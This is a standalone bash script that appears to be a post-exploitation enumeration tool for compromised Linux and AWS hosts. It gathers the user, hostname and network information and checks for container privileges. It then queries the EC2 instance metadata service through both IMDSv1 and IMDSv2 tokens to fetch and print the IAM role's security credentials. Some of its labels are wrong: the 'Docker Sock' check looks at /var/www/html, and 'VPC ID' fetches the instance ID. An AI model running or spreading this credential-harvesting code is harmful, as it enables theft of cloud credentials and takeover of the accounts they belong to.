echo "Instance User: $(whoami)";
echo "Instance Hostname: $(hostname)";
echo "Instance IP Info: $(ip a)";
if [ "$(ps 1 | grep -v "PID" | cut -d "/" -f 3)" != "init" ];
  then echo "Is Docker: True";
  apt update > /dev/null && apt install fdisk curl iproute2 -y > /dev/null;
  echo "Privileged Container: $(bash -c "ip link add dummy0 type dummy > /dev/null; if [ $? -eq 0 ]; then echo "True"; else echo "False"; fi")";
  echo "Docker Sock Mounted: $(if [ -f /var/www/html ]; then echo "True"; else echo "False"; fi)";
fi;

if [ $(curl -I http://169.254.169.254/latest/meta-data/ --connect-timeout 10 | grep "HTTP" | cut -d " " -f 2) == "200" ]; then
  echo "Instance Meta-Data V1 Enabled: True";
  echo "InstanceId: $(curl http://169.254.169.254/latest/meta-data/instance-id)";
  echo "Instance Public IP: $(curl http://169.254.169.254/latest/meta-data/public-ipv4)";
  echo "Instance Private IP: $(curl http://169.254.169.254/latest/meta-data/local-ipv4)";
  echo "Instance VPC ID: $(curl http://169.254.169.254/latest/meta-data/instance-id)";
  if [ $(curl http://169.254.169.254/latest/meta-data/iam -I | grep "HTTP" | cut -d " " -f 2) == "200" ]; then
    profilename=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials);
    echo "Instance Profile Name: $profilename";
    echo "Instance Profile Creds: $(curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$profilename")";
  fi;
elif [ $(curl -I http://169.254.169.254/latest/meta-data/ --connect-timeout 10 | grep "HTTP" | cut -d " " -f 2) == "401" ]; then
  echo "Instance Meta-Data V1 Enabled: False";
  echo "Instance Meta-Data V2 Enabled: True";
  echo "InstanceId: $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)";
  echo "Instance Public IP: $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/public-ipv4)";
  echo "Instance Private IP: $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/local-ipv4)";
  echo "Instance VPC ID: $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/instance-id)";
  if [ $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam" -I | grep "HTTP" | cut -d " " -f 2) == "200" ]; then
    profilename=$(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials);
    echo "Instance Profile Name: $profilename";
    echo "Instance Profile Creds: $(TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`; curl -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$profilename")";
  fi;
fi;